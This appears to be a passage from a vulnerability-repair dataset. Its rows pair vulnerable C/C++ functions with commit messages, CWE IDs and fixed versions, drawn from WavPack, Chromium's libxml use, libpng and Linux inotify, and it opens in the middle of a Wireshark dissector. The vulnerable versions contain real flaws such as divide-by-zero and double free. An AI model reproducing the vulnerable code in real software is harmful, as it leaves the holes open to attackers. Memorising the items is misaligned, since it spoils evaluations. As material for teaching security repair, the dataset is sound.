call_dissector(ppi_vector_handle, next_tvb, pinfo, ppi_tree);
}
break;
case PPI_SENSOR_INFO:
if (ppi_sensor_handle == NULL)
{
proto_tree_add_item(ppi_tree, hf_ppi_harris, tvb, offset, data_len, ENC_NA);
}
else /* we found a suitable dissector */
{
/* skip over the ppi_fieldheader, and pass it off to the dedicated SENSOR dissetor */
next_tvb = tvb_new_subset(tvb, offset + 4, data_len - 4 , -1);
call_dissector(ppi_sensor_handle, next_tvb, pinfo, ppi_tree);
}
break;
case PPI_ANTENNA_INFO:
if (ppi_antenna_handle == NULL)
{
proto_tree_add_item(ppi_tree, hf_ppi_antenna, tvb, offset, data_len, ENC_NA);
}
else /* we found a suitable dissector */
{
/* skip over the ppi_fieldheader, and pass it off to the dedicated ANTENNA dissetor */
next_tvb = tvb_new_subset(tvb, offset + 4, data_len - 4 , -1);
call_dissector(ppi_antenna_handle, next_tvb, pinfo, ppi_tree);
}
break;
case FNET_PRIVATE:
if (ppi_fnet_handle == NULL)
{
proto_tree_add_item(ppi_tree, hf_ppi_fnet, tvb, offset, data_len, ENC_NA);
}
else /* we found a suitable dissector */
{
/* skip over the ppi_fieldheader, and pass it off to the dedicated FNET dissetor */
next_tvb = tvb_new_subset(tvb, offset + 4, data_len - 4 , -1);
call_dissector(ppi_fnet_handle, next_tvb, pinfo, ppi_tree);
}
break;
default:
proto_tree_add_item(ppi_tree, hf_ppi_reserved, tvb, offset, data_len, ENC_NA);
}
offset += data_len;
if (IS_PPI_FLAG_ALIGN(flags)){
offset += PADDING4(offset);
}
}
if (ppi_ampdu_reassemble && DOT11N_IS_AGGREGATE(n_ext_flags)) {
len_remain = tvb_captured_length_remaining(tvb, offset);
#if 0 /* XXX: pad_len never actually used ?? */
if (DOT11N_MORE_AGGREGATES(n_ext_flags)) {
pad_len = PADDING4(len_remain);
}
#endif
pinfo->fragmented = TRUE;
/* Make sure we aren't going to go past AGGREGATE_MAX
* and caclulate our full A-MPDU length */
fd_head = fragment_get(&du_reassembly_table, pinfo, ampdu_id, NULL);
while (fd_head) {
ampdu_len += fd_head->len + PADDING4(fd_head->len) + 4;
fd_head = fd_head->next;
}
if (ampdu_len > AGGREGATE_MAX) {
if (tree) {
proto_tree_add_expert_format(ppi_tree, pinfo, &ei_ppi_invalid_length, tvb, offset, -1, "Aggregate length greater than maximum (%u)", AGGREGATE_MAX);
THROW(ReportedBoundsError);
} else {
return;
}
}
/*
* Note that we never actually reassemble our A-MPDUs. Doing
* so would require prepending each MPDU with an A-MPDU delimiter
* and appending it with padding, only to hand it off to some
* routine which would un-do the work we just did. We're using
* the reassembly code to track MPDU sizes and frame numbers.
*/
/*??fd_head = */fragment_add_seq_next(&du_reassembly_table,
tvb, offset, pinfo, ampdu_id, NULL, len_remain, TRUE);
pinfo->fragmented = TRUE;
/* Do reassembly? */
fd_head = fragment_get(&du_reassembly_table, pinfo, ampdu_id, NULL);
/* Show our fragments */
if (fd_head && tree) {
ft_fdh = fd_head;
/* List our fragments */
seg_tree = proto_tree_add_subtree_format(ppi_tree, tvb, offset, -1,
ett_ampdu_segments, &ti, "A-MPDU (%u bytes w/hdrs):", ampdu_len);
PROTO_ITEM_SET_GENERATED(ti);
while (ft_fdh) {
if (ft_fdh->tvb_data && ft_fdh->len) {
last_frame = ft_fdh->frame;
if (!first_mpdu)
proto_item_append_text(ti, ",");
first_mpdu = FALSE;
proto_item_append_text(ti, " #%u(%u)",
ft_fdh->frame, ft_fdh->len);
proto_tree_add_uint_format(seg_tree, hf_ampdu_segment,
tvb, 0, 0, last_frame,
"Frame: %u (%u byte%s)",
last_frame,
ft_fdh->len,
plurality(ft_fdh->len, "", "s"));
}
ft_fdh = ft_fdh->next;
}
if (last_frame && last_frame != pinfo->fd->num)
proto_tree_add_uint(seg_tree, hf_ampdu_reassembled_in,
tvb, 0, 0, last_frame);
}
if (fd_head && !DOT11N_MORE_AGGREGATES(n_ext_flags)) {
if (tree) {
ti = proto_tree_add_protocol_format(tree,
proto_get_id_by_filter_name("wlan_aggregate"),
tvb, 0, tot_len, "IEEE 802.11 Aggregate MPDU");
agg_tree = proto_item_add_subtree(ti, ett_ampdu);
}
while (fd_head) {
if (fd_head->tvb_data && fd_head->len) {
mpdu_count++;
mpdu_str = wmem_strdup_printf(wmem_packet_scope(), "MPDU #%d", mpdu_count);
next_tvb = tvb_new_chain(tvb, fd_head->tvb_data);
add_new_data_source(pinfo, next_tvb, mpdu_str);
ampdu_tree = proto_tree_add_subtree(agg_tree, next_tvb, 0, -1, ett_ampdu_segment, NULL, mpdu_str);
call_dissector_with_data(ieee80211_radio_handle, next_tvb, pinfo, ampdu_tree, &phdr);
}
fd_head = fd_head->next;
}
proto_tree_add_uint(seg_tree, hf_ampdu_count, tvb, 0, 0, mpdu_count);
pinfo->fragmented=FALSE;
} else {
next_tvb = tvb_new_subset_remaining(tvb, offset);
col_set_str(pinfo->cinfo, COL_PROTOCOL, "IEEE 802.11n");
col_set_str(pinfo->cinfo, COL_INFO, "Unreassembled A-MPDU data");
call_dissector(data_handle, next_tvb, pinfo, tree);
}
return;
}
next_tvb = tvb_new_subset_remaining(tvb, offset);
/*
* You can't just call an arbitrary subdissector based on a
* LINKTYPE_ value, because they may expect a particular
* pseudo-header to be passed to them.
*
* So we look for LINKTYPE_IEEE802_11, which is 105, and, if
* that's what the LINKTYPE_ value is, pass it a pointer
* to a struct ieee_802_11_phdr; otherwise, we pass it
* a null pointer - if it actually matters, we need to
* construct the appropriate pseudo-header and pass that.
*/
if (dlt == 105) {
/* LINKTYPE_IEEE802_11 */
call_dissector_with_data(ieee80211_radio_handle, next_tvb, pinfo, tree, &phdr);
} else {
/* Everything else. This will pass a NULL data argument. */
wtap_encap = wtap_pcap_encap_to_wtap_encap(dlt);
switch (wtap_encap) {
case WTAP_ENCAP_ETHERNET:
eth.fcs_len = -1; /* Unknown whether we have an FCS */
phdrp = ð
break;
default:
phdrp = NULL;
break;
}
dissector_try_uint_new(wtap_encap_dissector_table,
wtap_encap, next_tvb, pinfo, tree, TRUE, phdrp);
}
}
| 167,144 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: int ParseDsdiffHeaderConfig (FILE *infile, char *infilename, char *fourcc, WavpackContext *wpc, WavpackConfig *config)
{
int64_t infilesize, total_samples;
DFFFileHeader dff_file_header;
DFFChunkHeader dff_chunk_header;
uint32_t bcount;
infilesize = DoGetFileSize (infile);
memcpy (&dff_file_header, fourcc, 4);
if ((!DoReadFile (infile, ((char *) &dff_file_header) + 4, sizeof (DFFFileHeader) - 4, &bcount) ||
bcount != sizeof (DFFFileHeader) - 4) || strncmp (dff_file_header.formType, "DSD ", 4)) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, &dff_file_header, sizeof (DFFFileHeader))) {
error_line ("%s", WavpackGetErrorMessage (wpc));
return WAVPACK_SOFT_ERROR;
}
#if 1 // this might be a little too picky...
WavpackBigEndianToNative (&dff_file_header, DFFFileHeaderFormat);
if (infilesize && !(config->qmode & QMODE_IGNORE_LENGTH) &&
dff_file_header.ckDataSize && dff_file_header.ckDataSize + 1 && dff_file_header.ckDataSize + 12 != infilesize) {
error_line ("%s is not a valid .DFF file (by total size)!", infilename);
return WAVPACK_SOFT_ERROR;
}
if (debug_logging_mode)
error_line ("file header indicated length = %lld", dff_file_header.ckDataSize);
#endif
while (1) {
if (!DoReadFile (infile, &dff_chunk_header, sizeof (DFFChunkHeader), &bcount) ||
bcount != sizeof (DFFChunkHeader)) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, &dff_chunk_header, sizeof (DFFChunkHeader))) {
error_line ("%s", WavpackGetErrorMessage (wpc));
return WAVPACK_SOFT_ERROR;
}
WavpackBigEndianToNative (&dff_chunk_header, DFFChunkHeaderFormat);
if (debug_logging_mode)
error_line ("chunk header indicated length = %lld", dff_chunk_header.ckDataSize);
if (!strncmp (dff_chunk_header.ckID, "FVER", 4)) {
uint32_t version;
if (dff_chunk_header.ckDataSize != sizeof (version) ||
!DoReadFile (infile, &version, sizeof (version), &bcount) ||
bcount != sizeof (version)) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, &version, sizeof (version))) {
error_line ("%s", WavpackGetErrorMessage (wpc));
return WAVPACK_SOFT_ERROR;
}
WavpackBigEndianToNative (&version, "L");
if (debug_logging_mode)
error_line ("dsdiff file version = 0x%08x", version);
}
else if (!strncmp (dff_chunk_header.ckID, "PROP", 4)) {
char *prop_chunk;
if (dff_chunk_header.ckDataSize < 4 || dff_chunk_header.ckDataSize > 1024) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
if (debug_logging_mode)
error_line ("got PROP chunk of %d bytes total", (int) dff_chunk_header.ckDataSize);
prop_chunk = malloc ((size_t) dff_chunk_header.ckDataSize);
if (!DoReadFile (infile, prop_chunk, (uint32_t) dff_chunk_header.ckDataSize, &bcount) ||
bcount != dff_chunk_header.ckDataSize) {
error_line ("%s is not a valid .DFF file!", infilename);
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, prop_chunk, (uint32_t) dff_chunk_header.ckDataSize)) {
error_line ("%s", WavpackGetErrorMessage (wpc));
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
if (!strncmp (prop_chunk, "SND ", 4)) {
char *cptr = prop_chunk + 4, *eptr = prop_chunk + dff_chunk_header.ckDataSize;
uint16_t numChannels, chansSpecified, chanMask = 0;
uint32_t sampleRate;
while (eptr - cptr >= sizeof (dff_chunk_header)) {
memcpy (&dff_chunk_header, cptr, sizeof (dff_chunk_header));
cptr += sizeof (dff_chunk_header);
WavpackBigEndianToNative (&dff_chunk_header, DFFChunkHeaderFormat);
if (dff_chunk_header.ckDataSize > 0 && dff_chunk_header.ckDataSize <= eptr - cptr) {
if (!strncmp (dff_chunk_header.ckID, "FS ", 4) && dff_chunk_header.ckDataSize == 4) {
memcpy (&sampleRate, cptr, sizeof (sampleRate));
WavpackBigEndianToNative (&sampleRate, "L");
cptr += dff_chunk_header.ckDataSize;
if (debug_logging_mode)
error_line ("got sample rate of %u Hz", sampleRate);
}
else if (!strncmp (dff_chunk_header.ckID, "CHNL", 4) && dff_chunk_header.ckDataSize >= 2) {
memcpy (&numChannels, cptr, sizeof (numChannels));
WavpackBigEndianToNative (&numChannels, "S");
cptr += sizeof (numChannels);
chansSpecified = (int)(dff_chunk_header.ckDataSize - sizeof (numChannels)) / 4;
if (numChannels < chansSpecified || numChannels < 1) {
error_line ("%s is not a valid .DFF file!", infilename);
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
while (chansSpecified--) {
if (!strncmp (cptr, "SLFT", 4) || !strncmp (cptr, "MLFT", 4))
chanMask |= 0x1;
else if (!strncmp (cptr, "SRGT", 4) || !strncmp (cptr, "MRGT", 4))
chanMask |= 0x2;
else if (!strncmp (cptr, "LS ", 4))
chanMask |= 0x10;
else if (!strncmp (cptr, "RS ", 4))
chanMask |= 0x20;
else if (!strncmp (cptr, "C ", 4))
chanMask |= 0x4;
else if (!strncmp (cptr, "LFE ", 4))
chanMask |= 0x8;
else
if (debug_logging_mode)
error_line ("undefined channel ID %c%c%c%c", cptr [0], cptr [1], cptr [2], cptr [3]);
cptr += 4;
}
if (debug_logging_mode)
error_line ("%d channels, mask = 0x%08x", numChannels, chanMask);
}
else if (!strncmp (dff_chunk_header.ckID, "CMPR", 4) && dff_chunk_header.ckDataSize >= 4) {
if (strncmp (cptr, "DSD ", 4)) {
error_line ("DSDIFF files must be uncompressed, not \"%c%c%c%c\"!",
cptr [0], cptr [1], cptr [2], cptr [3]);
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
cptr += dff_chunk_header.ckDataSize;
}
else {
if (debug_logging_mode)
error_line ("got PROP/SND chunk type \"%c%c%c%c\" of %d bytes", dff_chunk_header.ckID [0],
dff_chunk_header.ckID [1], dff_chunk_header.ckID [2], dff_chunk_header.ckID [3], dff_chunk_header.ckDataSize);
cptr += dff_chunk_header.ckDataSize;
}
}
else {
error_line ("%s is not a valid .DFF file!", infilename);
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
}
if (chanMask && (config->channel_mask || (config->qmode & QMODE_CHANS_UNASSIGNED))) {
error_line ("this DSDIFF file already has channel order information!");
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
else if (chanMask)
config->channel_mask = chanMask;
config->bits_per_sample = 8;
config->bytes_per_sample = 1;
config->num_channels = numChannels;
config->sample_rate = sampleRate / 8;
config->qmode |= QMODE_DSD_MSB_FIRST;
}
else if (debug_logging_mode)
error_line ("got unknown PROP chunk type \"%c%c%c%c\" of %d bytes",
prop_chunk [0], prop_chunk [1], prop_chunk [2], prop_chunk [3], dff_chunk_header.ckDataSize);
free (prop_chunk);
}
else if (!strncmp (dff_chunk_header.ckID, "DSD ", 4)) {
total_samples = dff_chunk_header.ckDataSize / config->num_channels;
break;
}
else { // just copy unknown chunks to output file
int bytes_to_copy = (int)(((dff_chunk_header.ckDataSize) + 1) & ~(int64_t)1);
char *buff;
if (bytes_to_copy < 0 || bytes_to_copy > 4194304) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
buff = malloc (bytes_to_copy);
if (debug_logging_mode)
error_line ("extra unknown chunk \"%c%c%c%c\" of %d bytes",
dff_chunk_header.ckID [0], dff_chunk_header.ckID [1], dff_chunk_header.ckID [2],
dff_chunk_header.ckID [3], dff_chunk_header.ckDataSize);
if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) ||
bcount != bytes_to_copy ||
(!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, buff, bytes_to_copy))) {
error_line ("%s", WavpackGetErrorMessage (wpc));
free (buff);
return WAVPACK_SOFT_ERROR;
}
free (buff);
}
}
if (debug_logging_mode)
error_line ("setting configuration with %lld samples", total_samples);
if (!WavpackSetConfiguration64 (wpc, config, total_samples, NULL)) {
error_line ("%s: %s", infilename, WavpackGetErrorMessage (wpc));
return WAVPACK_SOFT_ERROR;
}
return WAVPACK_NO_ERROR;
}
Commit Message: issue #65: make sure DSDIFF files have a valid channel count
CWE ID: CWE-369 | int ParseDsdiffHeaderConfig (FILE *infile, char *infilename, char *fourcc, WavpackContext *wpc, WavpackConfig *config)
{
int64_t infilesize, total_samples;
DFFFileHeader dff_file_header;
DFFChunkHeader dff_chunk_header;
uint32_t bcount;
infilesize = DoGetFileSize (infile);
memcpy (&dff_file_header, fourcc, 4);
if ((!DoReadFile (infile, ((char *) &dff_file_header) + 4, sizeof (DFFFileHeader) - 4, &bcount) ||
bcount != sizeof (DFFFileHeader) - 4) || strncmp (dff_file_header.formType, "DSD ", 4)) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, &dff_file_header, sizeof (DFFFileHeader))) {
error_line ("%s", WavpackGetErrorMessage (wpc));
return WAVPACK_SOFT_ERROR;
}
#if 1 // this might be a little too picky...
WavpackBigEndianToNative (&dff_file_header, DFFFileHeaderFormat);
if (infilesize && !(config->qmode & QMODE_IGNORE_LENGTH) &&
dff_file_header.ckDataSize && dff_file_header.ckDataSize + 1 && dff_file_header.ckDataSize + 12 != infilesize) {
error_line ("%s is not a valid .DFF file (by total size)!", infilename);
return WAVPACK_SOFT_ERROR;
}
if (debug_logging_mode)
error_line ("file header indicated length = %lld", dff_file_header.ckDataSize);
#endif
while (1) {
if (!DoReadFile (infile, &dff_chunk_header, sizeof (DFFChunkHeader), &bcount) ||
bcount != sizeof (DFFChunkHeader)) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, &dff_chunk_header, sizeof (DFFChunkHeader))) {
error_line ("%s", WavpackGetErrorMessage (wpc));
return WAVPACK_SOFT_ERROR;
}
WavpackBigEndianToNative (&dff_chunk_header, DFFChunkHeaderFormat);
if (debug_logging_mode)
error_line ("chunk header indicated length = %lld", dff_chunk_header.ckDataSize);
if (!strncmp (dff_chunk_header.ckID, "FVER", 4)) {
uint32_t version;
if (dff_chunk_header.ckDataSize != sizeof (version) ||
!DoReadFile (infile, &version, sizeof (version), &bcount) ||
bcount != sizeof (version)) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, &version, sizeof (version))) {
error_line ("%s", WavpackGetErrorMessage (wpc));
return WAVPACK_SOFT_ERROR;
}
WavpackBigEndianToNative (&version, "L");
if (debug_logging_mode)
error_line ("dsdiff file version = 0x%08x", version);
}
else if (!strncmp (dff_chunk_header.ckID, "PROP", 4)) {
char *prop_chunk;
if (dff_chunk_header.ckDataSize < 4 || dff_chunk_header.ckDataSize > 1024) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
if (debug_logging_mode)
error_line ("got PROP chunk of %d bytes total", (int) dff_chunk_header.ckDataSize);
prop_chunk = malloc ((size_t) dff_chunk_header.ckDataSize);
if (!DoReadFile (infile, prop_chunk, (uint32_t) dff_chunk_header.ckDataSize, &bcount) ||
bcount != dff_chunk_header.ckDataSize) {
error_line ("%s is not a valid .DFF file!", infilename);
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, prop_chunk, (uint32_t) dff_chunk_header.ckDataSize)) {
error_line ("%s", WavpackGetErrorMessage (wpc));
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
if (!strncmp (prop_chunk, "SND ", 4)) {
char *cptr = prop_chunk + 4, *eptr = prop_chunk + dff_chunk_header.ckDataSize;
uint16_t numChannels = 0, chansSpecified, chanMask = 0;
uint32_t sampleRate;
while (eptr - cptr >= sizeof (dff_chunk_header)) {
memcpy (&dff_chunk_header, cptr, sizeof (dff_chunk_header));
cptr += sizeof (dff_chunk_header);
WavpackBigEndianToNative (&dff_chunk_header, DFFChunkHeaderFormat);
if (dff_chunk_header.ckDataSize > 0 && dff_chunk_header.ckDataSize <= eptr - cptr) {
if (!strncmp (dff_chunk_header.ckID, "FS ", 4) && dff_chunk_header.ckDataSize == 4) {
memcpy (&sampleRate, cptr, sizeof (sampleRate));
WavpackBigEndianToNative (&sampleRate, "L");
cptr += dff_chunk_header.ckDataSize;
if (debug_logging_mode)
error_line ("got sample rate of %u Hz", sampleRate);
}
else if (!strncmp (dff_chunk_header.ckID, "CHNL", 4) && dff_chunk_header.ckDataSize >= 2) {
memcpy (&numChannels, cptr, sizeof (numChannels));
WavpackBigEndianToNative (&numChannels, "S");
cptr += sizeof (numChannels);
chansSpecified = (int)(dff_chunk_header.ckDataSize - sizeof (numChannels)) / 4;
if (numChannels < chansSpecified || numChannels < 1 || numChannels > 256) {
error_line ("%s is not a valid .DFF file!", infilename);
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
while (chansSpecified--) {
if (!strncmp (cptr, "SLFT", 4) || !strncmp (cptr, "MLFT", 4))
chanMask |= 0x1;
else if (!strncmp (cptr, "SRGT", 4) || !strncmp (cptr, "MRGT", 4))
chanMask |= 0x2;
else if (!strncmp (cptr, "LS ", 4))
chanMask |= 0x10;
else if (!strncmp (cptr, "RS ", 4))
chanMask |= 0x20;
else if (!strncmp (cptr, "C ", 4))
chanMask |= 0x4;
else if (!strncmp (cptr, "LFE ", 4))
chanMask |= 0x8;
else
if (debug_logging_mode)
error_line ("undefined channel ID %c%c%c%c", cptr [0], cptr [1], cptr [2], cptr [3]);
cptr += 4;
}
if (debug_logging_mode)
error_line ("%d channels, mask = 0x%08x", numChannels, chanMask);
}
else if (!strncmp (dff_chunk_header.ckID, "CMPR", 4) && dff_chunk_header.ckDataSize >= 4) {
if (strncmp (cptr, "DSD ", 4)) {
error_line ("DSDIFF files must be uncompressed, not \"%c%c%c%c\"!",
cptr [0], cptr [1], cptr [2], cptr [3]);
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
cptr += dff_chunk_header.ckDataSize;
}
else {
if (debug_logging_mode)
error_line ("got PROP/SND chunk type \"%c%c%c%c\" of %d bytes", dff_chunk_header.ckID [0],
dff_chunk_header.ckID [1], dff_chunk_header.ckID [2], dff_chunk_header.ckID [3], dff_chunk_header.ckDataSize);
cptr += dff_chunk_header.ckDataSize;
}
}
else {
error_line ("%s is not a valid .DFF file!", infilename);
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
}
if (chanMask && (config->channel_mask || (config->qmode & QMODE_CHANS_UNASSIGNED))) {
error_line ("this DSDIFF file already has channel order information!");
free (prop_chunk);
return WAVPACK_SOFT_ERROR;
}
else if (chanMask)
config->channel_mask = chanMask;
config->bits_per_sample = 8;
config->bytes_per_sample = 1;
config->num_channels = numChannels;
config->sample_rate = sampleRate / 8;
config->qmode |= QMODE_DSD_MSB_FIRST;
}
else if (debug_logging_mode)
error_line ("got unknown PROP chunk type \"%c%c%c%c\" of %d bytes",
prop_chunk [0], prop_chunk [1], prop_chunk [2], prop_chunk [3], dff_chunk_header.ckDataSize);
free (prop_chunk);
}
else if (!strncmp (dff_chunk_header.ckID, "DSD ", 4)) {
if (!config->num_channels) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
total_samples = dff_chunk_header.ckDataSize / config->num_channels;
break;
}
else { // just copy unknown chunks to output file
int bytes_to_copy = (int)(((dff_chunk_header.ckDataSize) + 1) & ~(int64_t)1);
char *buff;
if (bytes_to_copy < 0 || bytes_to_copy > 4194304) {
error_line ("%s is not a valid .DFF file!", infilename);
return WAVPACK_SOFT_ERROR;
}
buff = malloc (bytes_to_copy);
if (debug_logging_mode)
error_line ("extra unknown chunk \"%c%c%c%c\" of %d bytes",
dff_chunk_header.ckID [0], dff_chunk_header.ckID [1], dff_chunk_header.ckID [2],
dff_chunk_header.ckID [3], dff_chunk_header.ckDataSize);
if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) ||
bcount != bytes_to_copy ||
(!(config->qmode & QMODE_NO_STORE_WRAPPER) &&
!WavpackAddWrapper (wpc, buff, bytes_to_copy))) {
error_line ("%s", WavpackGetErrorMessage (wpc));
free (buff);
return WAVPACK_SOFT_ERROR;
}
free (buff);
}
}
if (debug_logging_mode)
error_line ("setting configuration with %lld samples", total_samples);
if (!WavpackSetConfiguration64 (wpc, config, total_samples, NULL)) {
error_line ("%s: %s", infilename, WavpackGetErrorMessage (wpc));
return WAVPACK_SOFT_ERROR;
}
return WAVPACK_NO_ERROR;
}
| 169,463 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: bool XmlReader::Load(const std::string& input) {
const int kParseOptions = XML_PARSE_RECOVER | // recover on errors
XML_PARSE_NONET | // forbid network access
XML_PARSE_NOXXE; // no external entities
reader_ = xmlReaderForMemory(input.data(), static_cast<int>(input.size()),
NULL, NULL, kParseOptions);
return reader_ != NULL;
}
Commit Message: Roll libxml to 3939178e4cb797417ff033b1e04ab4b038e224d9
Removes a few patches fixed upstream:
https://git.gnome.org/browse/libxml2/commit/?id=e26630548e7d138d2c560844c43820b6767251e3
https://git.gnome.org/browse/libxml2/commit/?id=94691dc884d1a8ada39f073408b4bb92fe7fe882
Stops using the NOXXE flag which was reverted upstream:
https://git.gnome.org/browse/libxml2/commit/?id=030b1f7a27c22f9237eddca49ec5e620b6258d7d
Changes the patch to uri.c to not add limits.h, which is included
upstream.
Bug: 722079
Change-Id: I4b8449ed33f95de23c54c2cde99970c2df2781ac
Reviewed-on: https://chromium-review.googlesource.com/535233
Reviewed-by: Scott Graham <[email protected]>
Commit-Queue: Dominic Cooney <[email protected]>
Cr-Commit-Position: refs/heads/master@{#480755}
CWE ID: CWE-787 | bool XmlReader::Load(const std::string& input) {
const int kParseOptions = XML_PARSE_RECOVER | // recover on errors
XML_PARSE_NONET; // forbid network access
reader_ = xmlReaderForMemory(input.data(), static_cast<int>(input.size()),
NULL, NULL, kParseOptions);
return reader_ != NULL;
}
| 172,944 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: zlib_end(struct zlib *zlib)
{
/* Output the summary line now; this ensures a summary line always gets
* output regardless of the manner of exit.
*/
if (!zlib->global->quiet)
{
if (zlib->ok_bits < 16) /* stream was read ok */
{
const char *reason;
if (zlib->cksum)
reason = "CHK"; /* checksum error */
else if (zlib->ok_bits > zlib->file_bits)
reason = "TFB"; /* fixing a too-far-back error */
else if (zlib->ok_bits == zlib->file_bits)
reason = "OK ";
else
reason = "OPT"; /* optimizing window bits */
/* SUMMARY FORMAT (for a successful zlib inflate):
*
* IDAT reason flevel file-bits ok-bits compressed uncompressed file
*/
type_name(zlib->chunk->chunk_type, stdout);
printf(" %s %s %d %d ", reason, zlib_flevel(zlib), zlib->file_bits,
zlib->ok_bits);
uarb_print(zlib->compressed_bytes, zlib->compressed_digits, stdout);
putc(' ', stdout);
uarb_print(zlib->uncompressed_bytes, zlib->uncompressed_digits,
stdout);
putc(' ', stdout);
fputs(zlib->file->file_name, stdout);
putc('\n', stdout);
}
else
{
/* This is a zlib read error; the chunk will be skipped. For an IDAT
* stream this will also cause a fatal read error (via stop()).
*
* SUMMARY FORMAT:
*
* IDAT SKP flevel file-bits z-rc compressed message file
*
* z-rc is the zlib failure code; message is the error message with
* spaces replaced by '-'. The compressed byte count indicates where
* in the zlib stream the error occured.
*/
type_name(zlib->chunk->chunk_type, stdout);
printf(" SKP %s %d %s ", zlib_flevel(zlib), zlib->file_bits,
zlib_rc(zlib));
uarb_print(zlib->compressed_bytes, zlib->compressed_digits, stdout);
putc(' ', stdout);
emit_string(zlib->z.msg ? zlib->z.msg : "[no_message]", stdout);
putc(' ', stdout);
fputs(zlib->file->file_name, stdout);
putc('\n', stdout);
}
}
if (zlib->state >= 0)
{
zlib->rc = inflateEnd(&zlib->z);
if (zlib->rc != Z_OK)
zlib_message(zlib, 1/*unexpected*/);
}
CLEAR(*zlib);
}
Commit Message: DO NOT MERGE Update libpng to 1.6.20
BUG:23265085
Change-Id: I85199805636d771f3597b691b63bc0bf46084833
(cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
CWE ID: | zlib_end(struct zlib *zlib)
{
/* Output the summary line now; this ensures a summary line always gets
* output regardless of the manner of exit.
*/
if (!zlib->global->quiet)
{
if (zlib->ok_bits < 16) /* stream was read ok */
{
const char *reason;
if (zlib->cksum)
reason = "CHK"; /* checksum error */
else if (zlib->ok_bits > zlib->file_bits)
reason = "TFB"; /* fixing a too-far-back error */
else if (zlib->ok_bits == zlib->file_bits)
reason = "OK ";
else
reason = "OPT"; /* optimizing window bits */
/* SUMMARY FORMAT (for a successful zlib inflate):
*
* IDAT reason flevel file-bits ok-bits compressed uncompressed file
*/
type_name(zlib->chunk->chunk_type, stdout);
printf(" %s %s %d %d ", reason, zlib_flevel(zlib), zlib->file_bits,
zlib->ok_bits);
uarb_print(zlib->compressed_bytes, zlib->compressed_digits, stdout);
putc(' ', stdout);
uarb_print(zlib->uncompressed_bytes, zlib->uncompressed_digits,
stdout);
putc(' ', stdout);
fputs(zlib->file->file_name, stdout);
putc('\n', stdout);
}
else
{
/* This is a zlib read error; the chunk will be skipped. For an IDAT
* stream this will also cause a fatal read error (via stop()).
*
* SUMMARY FORMAT:
*
* IDAT SKP flevel file-bits z-rc compressed message file
*
* z-rc is the zlib failure code; message is the error message with
* spaces replaced by '-'. The compressed byte count indicates where
* in the zlib stream the error occurred.
*/
type_name(zlib->chunk->chunk_type, stdout);
printf(" SKP %s %d %s ", zlib_flevel(zlib), zlib->file_bits,
zlib_rc(zlib));
uarb_print(zlib->compressed_bytes, zlib->compressed_digits, stdout);
putc(' ', stdout);
emit_string(zlib->z.msg ? zlib->z.msg : "[no_message]", stdout);
putc(' ', stdout);
fputs(zlib->file->file_name, stdout);
putc('\n', stdout);
}
}
if (zlib->state >= 0)
{
zlib->rc = inflateEnd(&zlib->z);
if (zlib->rc != Z_OK)
zlib_message(zlib, 1/*unexpected*/);
}
CLEAR(*zlib);
}
| 173,741 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static void inotify_free_group_priv(struct fsnotify_group *group)
{
/* ideally the idr is empty and we won't hit the BUG in teh callback */
idr_for_each(&group->inotify_data.idr, idr_callback, group);
idr_remove_all(&group->inotify_data.idr);
idr_destroy(&group->inotify_data.idr);
free_uid(group->inotify_data.user);
}
Commit Message: inotify: fix double free/corruption of stuct user
On an error path in inotify_init1 a normal user can trigger a double
free of struct user. This is a regression introduced by a2ae4cc9a16e
("inotify: stop kernel memory leak on file creation failure").
We fix this by making sure that if a group exists the user reference is
